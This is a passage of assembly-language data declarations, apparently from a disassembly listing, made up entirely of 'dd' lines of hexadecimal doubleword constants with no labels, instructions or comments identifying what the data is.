		dd 1A00BA4Eh, 5DCCB486h, 1C9DFD48h, 6674D37Ch, 0DAF200F1h
		dd 3CAC0487h, 9652E50Eh, 0B663E36Eh, 9006F009h,	0F67B00D1h
		dd 201429B4h, 0BA0049C3h, 9428F28h, 0A0612697h,	4CD3D2h
		dd 0B6ED81D2h, 6E56CD1Ch, 81595738h, 0ECC94ECCh, 0B4E465B3h
		dd 0DFCF0FB9h, 79406732h, 0A5B5206Ch, 0C400C076h, 0F281A066h
		dd 0B83A7548h, 13E3EC04h, 14251B4h, 88D409B8h, 0CDB04001h
		dd 4CF4A9ACh, 0F71A1700h, 6F92C9E4h, 483F0F93h,	49AFE171h
		dd 516D760h, 0FF7E61A3h, 90E6BA00h, 0DE9C3A23h,	44670C0h
		dd 0F82CAABDh, 6A50426Dh, 0A0EA0005h, 1D09C902h, 0D75A8EDFh
		dd 0DB915600h, 0EDB03E6Dh, 1CB5E909h, 813C8103h, 0F4E16427h
		dd 5307CCh, 266318ADh, 0F975A2D3h, 0CF653F17h, 0B5733B00h
		dd 37CB6F6h, 20972EDAh,	61A8FDD0h, 0EEE1369h, 320075EAh
		dd 373F48A3h, 3EBC787Eh, 0E181015Bh, 24C336Fh, 2BC0FBFDh
		dd 2200302Ah, 1AA64834h, 84C74Dh, 0E16C02EEh, 1EAE75DAh
		dd 2E28CB00h, 0F26BBAA6h, 0BDE8307Ch, 0D1F037ACh, 68A29100h
		dd 802803F9h, 4EDF0ED9h, 8DCEFF25h, 0FADABDE7h,	5180BA88h
		dd 0CFF2F313h, 0C9750701h, 0B1F1951Eh, 81075466h, 0C58087EBh
		dd 5C8DC475h, 2301BB7Ah, 0C7BB1319h, 411BE876h,	3CD4C238h
		dd 52F08F15h, 9A0016A9h, 0C9E6C65Fh, 0A8635C5Eh, 2D35E000h
		dd 8087682Bh, 0AA643800h, 57E46DC2h, 70679D4h, 0DDB2183Eh
		dd 0B5F323C7h, 3AA032CBh, 0F00077ABh, 5DD14E6Eh, 2455B8h
		dd 67038DF2h, 38C84CCFh, 0AB97050Bh, 8EF98080h,	58450D55h
		dd 7400C8D7h, 0BECDBF0Fh, 8C90497Fh, 84CA8907h,	6C7339F1h
		dd 4F79E86Ah, 1C740037h, 0CD81A858h, 0DF3C1EC5h, 1D4300FCh
		dd 0EB9261F0h, 3FBC1274h, 38620042h, 48184C5Ch,	2D931F1Eh
		dd 4A349701h, 68606055h, 5E7B0081h, 13B44C67h, 3E1DF2D5h
		dd 0D9013064h, 2E9D274Dh, 0B8E4070h, 8846DF0Fh,	59693C80h
		dd 0DE062263h, 6C1197CCh, 78D40019h, 0AC701A46h, 6B32840Dh
		dd 0E02069C8h, 0D20498h, 66535CB1h, 27A67E6Eh, 9D3CC400h
		dd 3E2F28CEh, 3CC99061h, 6F81716Bh, 0B48C9EADh,	784880D6h
		dd 0EE2B4150h, 23390043h, 0A1DBD799h, 0F148CB7Dh, 26C60088h
		dd 3A76F336h, 154B0065h, 64054530h, 8E7456DBh, 0CD045201h
		dd 0E8A15FF8h, 0DED460h, 0B8446889h, 0C16C50B0h, 0A0B98E01h
		dd 207F765Eh, 0FD30D240h, 0A9F00018h, 139D4EACh, 9714C8Fh
		dd 56728312h, 802A6400h, 98EDF363h, 3CAA079Fh, 202DB4A9h
		dd 0AE9C42E4h, 13C96001h, 36CCCFF8h, 154F2C8h, 0D57051C5h
		dd 0DC8A1B98h, 62009331h, 7D593385h, 8F701h, 0B25EAD04h
		dd 0B1179D64h, 91408A0Eh, 73A54005h, 0F7F1F6h, 88B4D54Bh
		dd 0A090316Ah, 8CA7B203h, 0A0EFE16Fh, 303BE0h, 2871D609h
		dd 0BA105B99h, 8E12B202h, 6039A82Bh, 149808BDh,	8CDC8C24h
		dd 8DDBBF00h, 0DF42BBC5h, 67BC0D00h, 0CCEBCEC4h, 337FF1h
		dd 4AE80104h, 5B87F97Eh, 7FDF5700h, 0CBF8483Bh,	0A1E61CB8h
		dd 0C67800C3h, 98857496h, 994D2900h, 66AE1B7Dh,	0D8D30764h
		dd 700CF409h, 0C1A005BFh, 53EC174Ah, 7B4A2900h,	0F8A6F16Dh
		dd 0B4A055E4h, 0A703C416h, 0B0EF91B7h, 80DD806Eh, 20F000DEh
		dd 0F4625311h, 0A3090757h, 8AA1F2h, 3DD923E9h, 5C0B03ACh
		dd 0F5803FC7h, 46B3DE98h, 2914D14h, 70680DB4h, 9830F4AAh
		dd 337B0077h, 997DFC4Eh, 0FDFAC80Dh, 0B023D600h, 0A054071Bh
		dd 0A4220E92h, 0F7207C82h, 843C0332h, 0FCCBD703h, 0C06EE299h
		dd 182F575Eh, 962D6B77h, 0C4001BC2h, 0B65344D6h, 15DCC5h
		dd 0F847AD4h, 3ECDBE98h, 8FCEF412h, 6388BC0Eh, 0F85FFDBBh
		dd 28B10AABh, 0BD9A53B4h, 0C8B8E670h, 8E3F5A90h, 95E88061h
		dd 0E0FC78EAh, 0CB1F0027h, 6631ABBEh, 5B002437h, 9AC0F82Bh
		dd 1FFCBA3Fh, 803C67D1h, 0A6E6D770h, 0B1019719h, 5C7FA00Dh
		dd 0B0C0B725h, 0A7AD3F6Ah, 6831E83h, 42A8BDC2h,	6C012FA9h
		dd 4E4F63BAh, 0E041D354h, 0B88082AEh, 0FC5B77A8h, 78C034BEh
		dd 0C46B59A5h, 0BCC503C3h, 0C0DBED42h, 0B0CF87Dh, 907F03E0h
		dd 6F5F28D6h, 0F514AF4h, 6AA7404Ch, 9FE660A3h, 0BE7D71B9h
		dd 8C46A11Eh, 8901D893h, 0E36331ADh, 889860h, 7E4C2187h
		dd 2F7DF450h, 3E29DA0Ah, 0F300B033h, 66A884F0h,	7CCD07C4h
		dd 0B0220AEDh, 0C52B71F7h, 335B9E04h, 28C1092Ah, 5EE0D97Dh
		dd 7AEC0373h, 62A036D5h, 91D90FA5h, 0AF4658C2h,	0BE00B059h
		dd 5B95A6A8h, 0AD960564h
		dd 1DA5D6Fh, 0FED9B2EDh, 20BCBFh, 695F8748h, 6185E9h, 6AC62831h
		dd 51681CBDh, 0F590BA00h, 0A1B2D34h, 3632135Dh,	0CB0006Ch
		dd 2BF0859Eh, 1FBA3B3Fh, 821C1854h, 24FDDE00h, 3C7A9703h
		dd 8100117Dh, 7263FF69h, 160087A4h, 478EE4EDh, 26905701h
		dd 0BCC5FCFh, 0A60E7378h, 0FF0A2E00h, 0EE0FB076h, 0C0164B88h
		dd 2A9BCC04h, 18070659h, 14292C41h, 5396C305h, 7CD04797h
		dd 49406Fh, 70C418CFh, 0A36B07C1h, 80F90639h, 0DE57D779h
		dd 4E04048h, 2B89B3Fh, 0A0A2C49Ch, 0D60EAEA4h, 65B34F3Dh
		dd 0C9C4F5BDh, 38D281C5h, 0D526602Ah, 1CB05Dh, 0B9C79233h
		dd 0A90F1916h, 5F14E300h, 9148F1ABh, 0C0BB7AFCh, 31F962A0h
		dd 3B00A89Fh, 0CA6D5170h, 0EF1D69D8h, 7B03020h,	13B1443Ah
		dd 0AF7B0037h, 640072E3h, 8386FD12h, 24FEBE7Dh,	0EBF84Ah
		dd 0A7A11E88h, 8902A6A9h, 4191A827h, 1610C84Fh,	73FF0028h
		dd 0F2818BCBh, 6000D76Dh, 0CC0E5FB0h, 0BAC503h,	9045B933h
		dd 670DC62Bh, 12693E07h, 48E052E7h, 1BFD597h, 7562A253h
		dd 0CC18F058h, 7B1EAD2Ah, 0A4003889h, 2D3B84Ch,	0CC4B49C5h
		dd 0E742900h, 0DF8F9A9Bh, 0D9283E19h, 4A60ED44h, 0DC5E0139h
		dd 0AE19D3E6h, 64FADC7Ch, 760FABB0h, 0A02DE2D0h, 0BC497881h
		dd 7B6A3D05h, 0CE5C3180h, 56518CCBh, 140E4376h,	4420ACF9h
		dd 4CB9391h, 0EABCC306h, 77091001h, 1A0225h, 0ED8CA9A2h
		dd 0C930FD1h, 3F4053D5h, 22EFD808h, 0A40D8600h,	17C7A264h
		dd 955D07DCh, 9032CD56h, 0D33EC620h, 0B948C500h, 9E93D64Ah
		dd 54A700EAh, 0C1CC5E83h, 0C200BE0Eh, 3A3858D0h, 201489h
		dd 0FDE6E930h, 90BB77Eh, 5274A500h, 242F161h, 8B6E005Fh
		dd 0AB47E575h, 8460288Dh, 80F5A721h, 8A0E071Ch,	60AF4532h
		dd 0C6258DC5h, 39671307h, 60E03BE6h, 1E840624h,	2AE4F62h
		dd 0F36AF7D6h, 80C170E8h, 771F891Eh, 40B5124Eh,	4C2E81EFh
		dd 0D693002Ah, 443E7D31h, 30003892h, 1185F2BEh,	5F0C1Ah
		dd 0C859D758h, 4EB46FC1h, 9A51B600h, 35C7A830h,	20FB0097h
		dd 0F3445B08h, 393AC069h, 75F71CF6h, 4CC0BE53h,	492CDF03h
		dd 7A0F0C26h, 82CF3C4Ch, 0D4A2065Dh, 5C30A841h,	0E1CC1014h
		dd 2000835Fh, 5D3538B1h, 320FF63h, 1CB74D83h, 3C396DFh
		dd 7BC55001h, 0BC7AF66Ch, 472D3840h, 0D1330C28h, 6F28F3CBh
		dd 51214E06h, 783198BDh, 0EF820CC5h, 0F948FC35h, 6F30A2EEh
		dd 0F8BE787Ah, 0A4B3E854h, 9097002Ch, 9B00B9Dh,	6C06621Ah
		dd 91276B8Bh, 9B0200A0h, 0AAE3146Ah, 0AD00BAD3h, 95B78EC0h
		dd 3CCD7DAh, 0FA769FB1h, 0DDF8E8C7h, 7A0058C4h,	276A7226h
		dd 90F24D98h, 39830728h, 307E01FBh, 0EE0AF3B5h,	0E038B6E0h
		dd 6C2572DAh, 1D9958DCh, 0E9717CEh, 58809ECAh, 85940D3Ch
		dd 3DC48C00h, 0E2291BDDh, 0C6100173h, 46F5867Eh, 7A57CCEBh
		dd 0A137F300h, 8E5BA8DEh, 13D185Dh, 0C2EBE923h,	0FDF72203h
		dd 0E8CA213Eh, 987E9502h, 3CBD7D01h, 4D00C5ABh,	134A8F7Ch
		dd 0E003A860h, 0BE8A49D7h, 2FA1D0E4h, 35678A5h,	31132036h
		dd 6EF85EE3h, 0AE00F260h, 2A5D9F8Fh, 0E4F51CAh,	0D0EAF0FDh
		dd 0B7EC27A0h, 2D00983Bh, 501F34A7h, 3547E7h, 768741F2h
		dd 1E602B61h, 9063AC03h, 0C71A4528h, 1FBBC420h,	0BEB6076Bh
		dd 4132E321h, 0C8C8931Ch, 0BA009643h, 696A7D18h, 89B5F2h
		dd 0CA8F5DACh, 37FE2747h, 52DB6600h, 0FD201E8Ah, 9F2807B1h
		dd 60D9065Ah, 38D6C94Ah, 8FCA3E03h, 0CB187D35h,	29E7B05Fh
		dd 2CA3034Ch, 5E4E8E0h,	40F1E9A9h, 9336B3DCh, 38CCB409h
		dd 0B0ECA87Ah, 730C3E07h, 7780E270h, 0D18C9298h, 97F80420h
		dd 100E1A30h, 621A2h, 0EE2215B6h, 80F950E0h, 0C06A7025h
		dd 67720E0Dh, 828280Ah,	1D84C290h, 73924468h, 480DBD44h
		dd 55644296h, 28047625h, 0AA48FFF1h, 2456B242h,	577215Ah
		dd 0E2107E12h, 0DE694014h, 428414A1h, 0E3135228h, 0A22921C2h
		dd 0B3A13A04h, 58426608h, 218624CDh, 5190F482h,	14BD8A3Ah
		dd 87842A10h, 804E48F7h, 77EAB94h, 0C00F8A4h, 5ED2EE8Dh
		dd 0BF6FC69h, 794C58EDh, 361C0CFEh, 0A8F1BF40h,	74AB0F2h
		dd 5BDA1574h, 0AB45B0B2h, 0C907093Dh, 105AD4Bh,	8B429B50h
		dd 73A30707h, 3018D529h, 0D53D0C1h, 0AC4BEE3Fh,	9C97ECEFh
		dd 67943300h, 37F6A19h,	0D8BD0165h, 0CE8053D4h,	76000F2Ah
		dd 893BBA39h, 0F511F75h, 246460A7h, 6870C7C0h, 0C616152Bh
		dd 104044BBh, 77B85B2h,	9AB618EBh, 40D84826h, 0EA008171h
		dd 0DA77AE44h, 9E541h, 4F35DFA6h, 0FA25FC2Eh, 3E6F5300h
		dd 75F11673h, 0FD109FBh, 944040CCh, 2818F71Dh, 0CD28EB9Bh
		dd 91D93061h, 78AC2460h, 7C1D9D2Eh, 0CA1AB700h,	0F7AA33h
		dd 0B1AE967Dh, 0FC381568h, 4B634700h, 0E3821CA0h, 901900AFh
		dd 3172628Bh, 8A761B0Eh, 69CADF00h, 9FC2F8FBh, 89E0041Dh
		dd 8071CD77h, 0E10964D4h, 2DC6B207h, 8939F884h,	5710080h
		dd 0E2CF1A10h, 68420A4Ah, 0C7D42F9Dh, 0A7E0606Eh, 1800AAF6h
		dd 0A4609592h, 60703F1Fh, 0DD87C849h, 0A00619Dh, 1320434h
		dd 7307CDh, 431BFDDFh, 0AD381991h, 0C9A9B301h, 930C2937h
		dd 561CC840h, 0A77E000Bh, 0BC9FDCE4h, 0B30006C7h, 3F5A8EB9h
		dd 5FEDD2h, 0A67FE2AEh,	0C130A7EEh, 8D519700h, 0E549C6DCh
		dd 3EC7011Ch, 871E0FF2h, 0A7E9E083h, 9B367D1Fh,	0F0FDD4h
		dd 255581ECh, 0FE23CAh,	0F0D1788Ah, 0A08562C1h,	0C80E12ECh
		dd 413B7F8Bh, 635B21E1h, 4E7DF0h, 0FA82746Fh, 0E5DD4A84h
		dd 20000F71h, 2BAB68CAh, 13741A71h, 66F881h, 0F0ED7513h
		dd 4900E26Fh, 7862C090h, 0EC8FB9Bh, 0A9E11D01h,	6A2272A0h
		dd 790E35D8h, 0E4752Eh,	61134F95h, 0A1B7068Ch, 0C497CB22h
		dd 88F8EB12h, 0DBD24C40h, 1C172BCh, 0E6AA575Eh,	40847102h
		dd 2D9C82A4h, 39FD350Fh, 0AFC9A0DBh, 0F3E8D73h,	6F6A2E71h
		dd 2124C6C0h, 0D200D8A1h, 9731BF0Fh, 118B0Ah, 35018374h
		dd 0B93914FBh, 9A1EA49Ah, 0F8C09869h, 0C8EDAA99h, 0D68801C3h
		dd 0A2F7DDC9h, 9502031h, 0F800027Eh, 5351CF81h,	77370Ah
		dd 0AD7AD4D3h, 6B127FD5h, 2700E378h, 99304B95h,	195DE0h
		dd 0ED1EBAEBh, 9F68B257h, 41E7D400h, 0F3F84B7Ch, 0F63D00C9h
		dd 51F58821h, 0B6007139h, 0B5F956CDh, 58334Ch, 0B050D2E2h
		dd 826E97DAh, 51DDFC00h, 65C95B73h, 0EA340036h,	719F5F8Ah
		dd 20013153h, 119BB22h,	0E8D0CFA9h, 189A0FC1h, 0C74059E1h
		dd 7603562Eh, 4D022000h, 0BEBD9F6Fh, 0AF380053h, 9574809Ah
		dd 782E2713h, 7512A8DFh, 0E3BB0C20h, 0F93700E5h, 52D20A1h
		dd 9D05F090h, 683F344Dh, 0B482180h, 0D4890FFFh,	0AAA1F4BFh
		dd 70A7B1B9h, 0D50190F4h, 5041D64Bh, 5C20CE05h,	80049B34h
		dd 65DCD1ACh, 8C042479h, 9D3D3E46h, 1DDBA4F0h, 0CF4F3B2Ah
		dd 0E616F4Ah, 0C0B1B892h, 0BC00EDE7h, 0BD2C975Eh, 9C2A386h
		dd 0EE2BFA3Ah, 691B4002h, 0E478B780h, 8907B8EBh, 0F5FAC5D6h
		dd 45F210C0h, 4D0F009Fh, 4B780E51h, 0C458F191h,	0A8E43C7Eh
		dd 1400D4FFh, 1C438135h, 0F9D5D48h, 0C8A81B25h,	107EE660h
		dd 9BE803DDh, 6121530Fh, 6FF8202Eh, 263C29D4h, 50799h
		dd 6C88F61Ah, 232AD14Ah, 1C01E890h, 338A7487h, 0BDF18E4Ch
		dd 18935BD8h, 28EA789Dh, 1600E5E6h, 25FAB4CFh, 28C526h
		dd 9711E871h
		dd 6E24A69h, 0C79DFB00h, 6BC0DAD6h, 0B841h, 8A17F3F9h
		dd 9F6C316Dh, 965A361Fh, 92A3F480h, 0B0A491h, 0E75EC99Dh
		dd 0AA509BCAh, 7F755400h, 7131E8B6h, 14B50E04h,	55C117A1h
		dd 0F201972Ch, 0C50764C0h, 0CC06EF28h, 0F327B00h, 0FA2B8A33h
		dd 0BB860520h, 5F69230Dh, 4C400C0h, 6C9DDC6Dh, 0FF4B3800h
		dd 0FA6864B0h, 0BB8F00FCh, 652D37DDh, 75007993h, 9F3A7AE7h
		dd 0A8F356h, 0FAC45BD7h, 0A90A7608h, 0D3AE11C0h, 0E2BA9E6Fh
		dd 33271288h, 2400C08Ch, 0A90CD51Bh, 80EF7A90h,	0ADDB02BEh
		dd 451C650Dh, 0C3261460h, 0F1437E05h, 0AC30C893h, 0D2D9F5h
		dd 8CCE03E0h, 0A6C9A115h, 27870507h, 0CBE20F69h, 0C1084035h
		dd 835502CCh, 1E016ABAh, 3D0B5060h, 0D6FBA500h,	20AB3687h
		dd 0EA5F0996h, 0D080F795h, 0CDCBDF56h, 6B284B7Ch, 5D00A406h
		dd 0E64D6116h, 5044B1h,	8C088793h, 0DF3B5CD4h, 0DDCCB801h
		dd 31645BF9h, 17AD70h, 1505E4A3h, 656208B2h, 18C34D0Fh
		dd 0CEDD4078h, 1DC46E68h, 1AFB76D4h, 3160119Bh,	8B00E1FFh
		dd 0A90F9084h, 1E3ADFA4h, 0C1EA86ADh, 0A835B851h, 33E020B0h
		dd 1AC8E601h, 117A2EC2h, 0D9820h, 0D16FDD0Ah, 0B3F315B9h
		dd 0A96A0B00h, 1FE707E2h, 0E54801DCh, 1584A29h,	0B3402055h
		dd 0AC33D700h, 76DF2CF1h, 8156001Ah, 0D1526034h, 5D0073E4h
		dd 8AA79E08h, 9751012h,	7634B594h, 0C4307100h, 5F006BF6h
		dd 0D295B1D7h, 0E07BC1D6h, 86C702C9h, 31A69E2Fh, 69A324C0h
		dd 0FC99C004h, 30C044EEh, 20BEC5h, 6268C13Eh, 765D17FAh
		dd 680958h, 0EE55318Ch,	48A234h, 0C5EC7D33h, 0F6A5766Eh
		dd 3F706200h, 7CBAD10Ch, 3E4A7D66h, 270AB37Eh, 0A88644h
		dd 3C0CE35Eh, 0A702D322h, 0A83A2F32h, 0D0F480F6h, 2F91112h
		dd 0F7DAD77Fh, 6868B564h, 9C0053E1h, 23278FF6h,	0B1ED33A0h
		dd 801CC0h, 0D6DE4082h,	0B49A16D8h, 9FB41C13h, 26B81218h
		dd 4DA50288h, 4F6C9A24h, 0E45F8460h, 8BA6F21Dh,	0EAB75700h
		dd 724BED4h, 11942A92h,	0AD0C7299h, 0CB40B062h,	0C0009F0Eh
		dd 123C485Fh, 0D9E673h,	0EE83AE6Ah, 0D0CEA963h,	0E65BF00h
		dd 7C6B5B9Eh, 0F4F10310h, 0D297F78Fh, 365DE4D0h, 0D700BCFAh
		dd 6E358425h, 9184AEAh,	0FA7563F2h, 20B4C400h, 320E56D5h
		dd 78922C64h, 155447B1h, 0D40E9995h, 81586500h,	199CC8DEh
		dd 808FDC01h, 23136E57h, 2DCC30h, 68936402h, 9ABB5030h
		dd 7D6AEF00h, 32783AB6h, 4B2100F2h, 4E158BECh, 63F643ADh
		dd 0ED389000h, 0FE49B1DCh, 34CE0F04h, 8FE091DDh, 87AEA739h
		dd 56E8C30Ch, 1942114h,	0E069710h, 0D8B31D29h, 5BFE8450h
		dd 748D9B1Eh, 4FFF7C2h,	13460C3h, 318E0096h, 563850EEh
		dd 7C03769Bh, 0ED499964h, 0C2689877h, 1303010Bh, 6367CC36h
		dd 0F833C9F3h, 0CD0029F0h, 0D4C59A0Dh, 2CC4691Dh, 0AACC7Ah
		dd 21703FCEh, 5E0EBEADh, 4037CBD0h, 4D759DB6h, 0F09809h
		dd 0C9B22C02h, 0C1730B04h, 0B42190C2h, 98786899h, 0B6FA0B07h
		dd 0AC20E912h, 9D8DF8A3h, 26F121C0h, 0FEC1EA3Eh, 2C90B9h
		dd 694840E1h, 4F4E1BF0h, 58AA3C02h, 40817A96h, 0EC8CBD0h
		dd 17BBC618h, 0D57DEE81h, 0D3842059h, 0BADDE112h, 21BF414h
		dd 9B99720Fh, 1D8C4069h, 15E410D6h, 961C00F4h, 32F27585h
		dd 0E85A006Eh, 0AB506DA0h, 0E0071055h, 48BBD882h, 0F051EFA0h
		dd 0B37CD0h, 64FF7F0Ch,	0BA956352h, 9C1D13FEh, 9808F1A0h
		dd 0A4AA008Ah, 6B6CF951h, 189B3F00h, 2A0A847Ch,	0CB7BC0h
		dd 7F8819FAh, 4AF8152Bh, 9C6A9300h, 0BB46CD4Eh,	572128C6h
		dd 8B1CE6A8h, 9E391E8h,	8BB6E500h, 0F03F45E8h, 47430079h
		dd 146FA578h, 0CC4DA771h, 88FD001Ch, 0C27F4AA0h, 11F91265h
		dd 1C9C0730h, 3A23F046h, 2930A10Bh, 2AAA3808h, 24C67CEFh
		dd 4778h, 56709F6Ah, 0A712DE53h, 0D713E920h, 5E81C42h
		dd 4F394021h, 5CE60012h, 3EF5BCDDh, 8402AC79h, 0AB5F342Eh
		dd 0A760F7B9h, 9C015737h, 686B2309h, 8434DE86h,	0F30802C9h
		dd 3134C85Ch, 8D904E00h, 429CA0F8h, 0AF591CC5h,	184D9FC6h
		dd 31389A61h, 0CF086500h, 0F805CE3Ah, 2BF2002Dh, 0F686370Fh
		dd 3000A1BAh, 805AE60Eh, 5850A9F9h, 0A840AC0Bh,	146420DBh
		dd 0D7905114h, 0D80526A7h, 7E9EEC01h, 1187D0DBh, 0B2258781h
		dd 0C689CD2h, 0EBF6E742h, 5B0033F6h, 3FA74BB8h,	16D3859Eh
		dd 1C1FC2D9h, 199100A0h, 0A7B4A518h, 4FBE3404h,	0E080F502h
		dd 0D8380Ch, 748437B2h,	64050D17h, 3E1CD40h, 0CE116936h
		dd 7BB02D70h, 0C70BDD15h, 80CDE979h, 0EBA888DCh, 16F302A4h
		dd 0D543476Ch, 0CA57E740h, 0ED2D4E00h, 0FDB4E57Bh, 5A640C89h
		dd 1FB8172Ch, 0E0C19024h, 757BF600h, 0AE56A6h, 6092984Dh
		dd 971CE3AAh, 0FB63E100h, 0A5A2D536h, 0EC94002Fh, 3DA6BCFCh
		dd 0DA0099A4h, 0B03C354Eh, 0FE6B836h, 8E05572h,	0D8D56A05h
		dd 580F31BCh, 0E05A47F9h, 0E0CF3B57h, 77161C09h, 698E00A3h
		dd 9617C26Fh, 110DF530h, 1AE4BA6h, 0D19352A9h, 2C34B40Fh
		dd 22B60088h, 627B7E71h, 0A4F6EAh, 9A04C0B5h, 88C9F956h
		dd 2BCA5107h, 61FE41DAh, 57AAB1Bh, 4D8E870h, 252373C9h
		dd 0F17C108h, 293C3CADh, 0A4848816h, 8AC00ECCh,	37F5C0h
		dd 3B1F94E0h, 9D6BF43Dh, 0D4610B00h, 84C323A6h,	0DB71008Ah
		dd 0ABE827F8h, 0C0C0C275h, 38879FFBh, 767C3E1Eh, 7DCE0D83h
		dd 0E4F04D70h, 9E26F853h, 4B0033ACh, 8088D5D2h,	0A6760063h
		dd 0E024E14Dh, 912829A9h, 7800A8FAh, 0E7F2F9EAh, 2FA27Eh
		dd 648CCD2Ch, 743C6808h, 9C27B93Dh, 8580C81Bh, 6CC6DCD4h
		dd 5DAE2B8h, 0D1AEF638h, 0F8C4000Eh, 4B78C64h, 2B02348h
		dd 4B7DE0BEh, 0EEB0E051h, 26C30007h, 4F8127C4h,	0F0B03F11h
		dd 89540603h, 0F8AF71F7h, 9C40E2h, 7012DE73h, 4C59F079h
		dd 92903D01h, 7C7C64Ah,	2F00AC28h, 0AEA0FC6Dh, 940073F3h
		dd 0FEE93405h, 2C140D72h, 0B82C99h, 8428EDE4h, 0E00BF3F5h
		dd 0C145B886h, 4828D084h, 5CA185h, 47DA7F0h, 0FC009DF4h
		dd 7BB006DEh, 1866341Ah, 100767AEh, 91184C0Fh, 0C021E2A3h
		dd 4C80F3A6h, 18938D76h, 56014895h, 0E00E4785h,	0A470C142h
		dd 570C2419h, 8EF20438h, 0B58B006Fh, 774A3D97h,	0FA110759h
		dd 0BB656008h, 8E1E5C00h, 572D5283h, 3AA000E8h,	0BA741CFh
		dd 71650D0Fh, 803B6020h, 0B2001534h, 8F59645Bh,	5018DC3Fh
		dd 35DA1AEh, 9169851Ch,	9CF0BFB5h, 51003BDEh, 0DFF4A6C8h
		dd 0C49DC5h, 29A09226h,	4BD47E16h, 84092409h, 57600077h
		dd 1D693h, 0A47B90ACh, 5B36DAB6h, 0C52D041Eh, 5A001492h
		dd 3E4E8B33h, 0CF0E0037h, 7C22A8DAh, 0BAFAD21Dh, 831687B0h
		dd 0E1066165h, 0F2D03C5Dh, 7038F7A9h, 0C2F7B00h, 0F6378213h
		dd 5F7D6F00h, 0C95425AAh, 0C61B0006h, 2CB93E45h, 405CE553h
		dd 9FFE11B8h, 42E49726h, 54C08F10h, 0EA1E9BC8h,	88C0CC6Dh
		dd 0BAF47D9Ah, 0F691748Ch, 0FC1900BCh, 204DABC4h, 7200A9E6h
		dd 47B5696h, 32CF70Eh, 1FEAC9FAh, 11B67AC6h, 87833E3Ch
		dd 0B1966AEEh, 5810E3A2h, 4D3400BCh, 0D5A46D51h, 4E095564h
		dd 0A0AF1499h, 0ACD4F51Ch, 0C1F10E62h, 5EA0A9DDh, 0C254B6C5h
		dd 0CE071400h, 4144380Fh, 22B40006h, 0FE655A1Ah, 7600311Fh
		dd 400EC593h, 5E986C8Fh, 30A40B32h, 9600A462h, 0F7548DD9h
		dd 706C2505h, 70C036E4h
		dd 70FBBE4Dh, 0A8A0068h, 79089E9Ah, 4803D9ABh, 0AF5DE45Ah
		dd 98BAE87Eh, 0A4DD0381h, 0FEF840Ch, 80B63939h,	0E06127E5h
		dd 0FE375F5h, 0CC7DF7DAh, 0D740B2CEh, 9F294314h, 48D29603h
		dd 0A7FAAE5Dh, 0A1C08974h, 2472522Dh, 44C9FEh, 2981BC88h
		dd 68B6934Fh, 92F19700h, 236EA90h, 991EF9A9h, 0BCC115AFh
		dd 35AC43C2h, 0AC4BAA0h, 1AA3FB03h, 88603AF7h, 5146EDh
		dd 0F48C5D30h, 52D7287Eh, 0B8CE0800h, 4B7F9449h, 796A050Dh
		dd 0C6A13D71h, 1516FEB4h, 54001880h, 0AD7525DBh, 0AE0400BCh
		dd 0B5B3C734h, 5105A030h, 6627389h, 98C46BC0h, 471900A5h
		dd 0FB07CA55h, 53008C8Ah, 0E4A779C8h, 0E9E35F5h, 0B7A2285Dh
		dd 17AF1302h, 0DD248864h, 880107Dh, 0D33C104Ch,	0F9B901C5h
		dd 23873BB3h, 0D7B9D7F4h, 71882085h, 0DBAE7A0Ch, 0B0A511C1h
		dd 39F100EBh, 5E6E2AE7h, 880F4E64h, 7BB650h, 1AA8C60Fh
		dd 58D49062h, 0DC12B093h, 23D0207h, 37C18833h, 879830DFh
		dd 0B8EB1602h, 60805250h, 0DD301Ch, 3C17419h, 54CA2458h
		dd 0BA837500h, 254DE6FBh, 559B013Ah, 0D9214F98h, 7D2419Dh
		dd 39CCF069h, 0C83E600Fh, 73CE60E8h, 0BBA6AAh, 0BE2D389Bh
		dd 4C9F3F53h, 0AD4D6C00h, 698AC5D2h, 332E0504h,	0A8B1E984h
		dd 0EC1C0198h, 41ADAC3Dh, 7E1030h, 0C0FC90Dh, 5DBFE552h
		dd 0FAF09700h, 0DB9E27CCh, 0B9A40002h, 56257CFh, 8B00ECFDh
		dd 42B36C4Fh, 26DCBD6Dh, 584E3BEh, 0B00AC8FAh, 40C08F70h
		dd 5CC69529h, 0D7BF00D8h, 8BBA7754h, 0B504AA37h, 365A5780h
		dd 246CA8E0h, 34181Dh, 0D15C4AE3h, 0E80E847Fh, 16E7AF42h
		dd 87668500h, 0F250354Dh, 0A0C01272h, 0D8CC0409h, 2268D806h
		dd 0EB866600h, 3B685F5Ah, 0BAC903F3h, 6A4AB74Fh, 28D7112Eh
		dd 0D4E06603h, 7B4800B5h, 0BBCE2EF9h, 0EF00301Eh, 0CB048C8Fh
		dd 1BC06Dh, 8E50AAF3h, 9EED7E87h, 0F45E8600h, 20C615BCh
		dd 5F3CBA38h, 6678414Bh, 0D48E9CC2h, 0F17DF9Fh,	5200AAF5h
		dd 8C055D99h, 0A3C90029h, 4AEE2A86h, 640F609Bh,	0ECF1A86Eh
		dd 49114Fh, 229085A2h, 0F0725B38h, 7F4D4300h, 17FA3C1Dh
		dd 82EB00CCh, 1634369Ch, 8E090E98h, 0A5637B6Ch,	64B48758h
		dd 0B078E3F6h, 1A0B744Dh, 9E8EE25Fh, 0F1DECF60h, 4E019821h
		dd 0B5D24F6Ch, 0EEDCA268h, 0FC7B5AC1h, 491F1941h, 57F89D40h
		dd 48D82706h, 0BD9A6C00h, 0BEF034E0h, 5D005098h, 7D9CE2ABh
		dd 76FC3ADh, 0E7792B65h, 69F9B129h, 2C04E868h, 1BC79100h
		dd 13982AFEh, 5DCF8D1h,	0F664610Ah, 93A0F438h, 743A4800h
		dd 1F6C9BA4h, 97490499h, 802B90E3h, 0C7AADF4h, 0EA629130h
		dd 2F14F7Dh, 0D05B899h,	505A4888h, 0B51F8007h, 0B070F323h
		dd 0CCC7ECh, 0E9A18255h, 868994Fh, 7E7420F2h, 58144Ch
		dd 0A90DADB3h, 8FB2B0h,	15365C1Dh, 228EF72Bh, 8080693Ah
		dd 2FBEADEBh, 281FAEA9h, 5ACB4A4h, 69112A5Ch, 3BF00C10h
		dd 8F48E606h, 607C0074h, 0FCA6B0D9h, 9CCD021Fh,	20EC932Eh
		dd 8D5F8850h, 0AFF21043h, 5075FFD0h, 80E3ACC3h,	78ADF11h
		dd 3166C6A4h, 8E90B0F8h, 9838A826h, 32A80D5h, 9BC628E6h
		dd 44460085h, 0A3295910h, 8600600Bh, 0B0183CC2h, 2437C61h
		dd 15D414C8h, 6049F23Eh, 189C29ABh, 4798116h, 0AEEC0EC0h
